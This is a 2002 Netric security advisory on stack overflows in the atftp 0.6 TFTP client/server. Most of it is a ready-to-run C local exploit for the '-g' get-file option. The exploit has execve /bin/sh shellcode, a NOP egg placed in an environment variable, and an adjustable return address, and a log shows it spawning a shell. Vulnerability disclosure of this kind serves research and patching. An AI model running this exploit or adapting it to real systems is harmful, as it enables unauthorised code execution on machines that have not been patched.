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netric-adv010.txt

netric-adv010.txt
Posted Sep 17, 2002
Authored by netric, Sacrine | Site netric.org

Atftp tftp server v0.6 and below contains multiple exploitable stack overflows. Includes local exploit.

tags | overflow, local
SHA-256 | bb7bf00e211f49a798a097f40519d7f866c03973f54108b0f2b7732def3437fa

netric-adv010.txt

Change Mirror Download
Netric Security Team - http://www.netric.[org|be]
By sacrine

atftp-0.6
type: stack overflow(s)(multiple)

Priority: 6

[1] Description
[2] Vulnerable
[3] Exploit
[4] Proof of concept
[5] Vendor response
[6] Patches


[01] Description

atftp is a client/server implementation of the TFTP protocol,
that implements RFCs 1350, 2090, 2347, 2348, and 2349.
packages can be downloaded here: ftp://ftp.mamalinux.com/pub/atftp/


There are several vulnerabilities, mostly with the well known "strcpy" problem.
An example:
..
strcpy(filename, directory);
char filename(MAXLEN);
..

this unchecked buffer can easily be exploited,
there are more of these vulnerabilities, but we'll discuss only this one,
the one in the "get file" option / the "-g" option.

[2] Vulnerable

I only tested the last 2 packages, but the previous versions are most likely
vulnerable too.

atftp-0.5 - vulnerable: YES - exploitable: YES
atftp-0.6 - vulnerable: YES - exploitable: YES

[3] Exploit


/*
* atftp.0.5
* atftp.0.6 - local proof of concept exploit
* exploits an unchecked buffer in the "get file" option "-g"
*
* return addr tested on redhat 7.3 - 0xbffffbcc
* change for other systems - ./k3 <offset>
*
* Netric Security(RESOURCE MATERIAL)
* http://www.netric.org
* written by sacrine
*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#define EGG 1024
#define BUFLEN (356+9)
#define NOP 0x90
/* eSDee's execve /bin/sh shellcode */
char shellcode[] =
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
"\x50" // push %eax
"\x53" // push %ebx
"\x8d\x0c\x24" // lea (%esp,1),%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80"; // int $0x80

int main(int argc, char **argv[])
{
unsigned long ret = 0xbffffbcc;
char buf[BUFLEN];
char egg[EGG];
int c;
char *ptr;
long *ptr2;
int i=0;

if(argc>1) {
ret = ret - atol(argv[1]);
}
memset(buf,NOP,sizeof(buf));
ptr=egg;
for (i=0; i<1024-strlen(shellcode)-1;i++)*(ptr++) = '\x90';
for (i=0; i<strlen(shellcode);i++)*(ptr++) = shellcode[i];
egg[1024-1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);

ptr2 = buf;
for(c = 0; c < sizeof(buf); c+=4)
*(ptr2++) = ret;

fprintf(stdout,"------------------------------------------------(www.netric.org)\n");
fprintf(stdout," local atftp-0.x proof of concept exploit\n");
fprintf(stdout,"(sacrine)-------------------------------------------------------\n\n");
fprintf(stdout,"return addr: 0x%x\n",ret);
fprintf(stdout,"buffer : %d\n\n",strlen(buf));

execl("atftp", "atftp","-g",buf, NULL);

return(0);

}


[4] Proof of concept

[sacrine@workstation_01 atftp-0.5]$ ./k3
------------------------------------------------(www.netric.org)
local atftp-0.x proof of concept exploit
(sacrine)-------------------------------------------------------

return addr: 0xbffffbcc
buffer : 401

tftp: unknown host
Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿B.
Usage: get remote_file [local_file]
sh-2.05a$


[5] Vendor response

Vendor has been contacted, but has not responded yet.

[6] Patches

none yet



[EOF]

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